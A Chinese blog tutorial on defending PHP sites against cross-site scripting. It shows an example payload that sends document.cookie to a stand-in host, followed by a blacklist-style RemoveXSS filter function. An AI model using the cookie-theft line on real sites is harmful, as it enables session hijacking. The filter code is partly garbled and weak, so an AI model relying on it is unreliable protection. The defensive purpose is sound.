PHP防御XSS攻击
XSS即跨站脚本工具
例如我在你的评论上写了
<script>alert("楼主傻逼");</script>
然后很有可能就会弹出楼主傻逼了,当然这只是恶作剧,但要是别人在你的获取cookie就很严重了,如下
<script>document.location="http://www.test.com/a.php?b="+document.cookie;</script>
通过这种方式,你的所有cookie就会被发送到对应的网站去,然后你就呵呵了~~~~
所以我们应该要过滤掉这些脚本,方法如下:(只能过滤部分)
<?php // 注意:htmlentities()默认编码为 ISO-8859-1,如果你的非法脚本编码为其它,那么可能无法过滤掉,同时浏览器却可以识别和执行.这个问题我先找几个站点测试后再说. // 以下是一个过滤非法脚本的函数,仅供参考: --> function RemoveXSS($val) { $val = preg_replace("/((iframe)|(href)|(src)|(vbscript)|(expression)|(applet)|(meta)|(frameset))/i", "", $val); $val = preg_replace("/<script[^>]*>.*(?=<\/script>)<\/script>/i", "", $val); // straight replacements, the user should never need these since they"re normal characters $search = "abcdefghijklmnopqrstuvwxyz"; $search .="ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $search .= "1234567890!@#$%^&*()"; $search .= "~`;:?+/={}[]-_|""; for ($i = 0; $i < strlen($search); $i++) { $val = preg_replace("/(&#[x|X]0{0,8}".dechex(ord($search[$i])).";?)/i", $search[$i], $val); // with a ; $val = preg_replace("/(�{0,8}".ord($search[$i]).";?)/", $search[$i], $val); // with a ; } // 剥去字符串中的 HTML 标签:strip_tags <span style="white-space:pre"> </span> $val = strip_tags(htmlspecialchars_decode($val)); <span style="white-space:pre"> </span> return $val; } //使用方法********************************************************************* //***************************************************************************** echo RemoveXss("我建议你去你那里玩http://www.baidu.com javascript hrefd iframe");
声明:该文观点仅代表作者本人,入门客AI创业平台信息发布平台仅提供信息存储空间服务,如有疑问请联系rumenke@qq.com。
- 上一篇: ubuntu下crontab 定时执行php脚本
- 下一篇: 关于ecshop的使用方法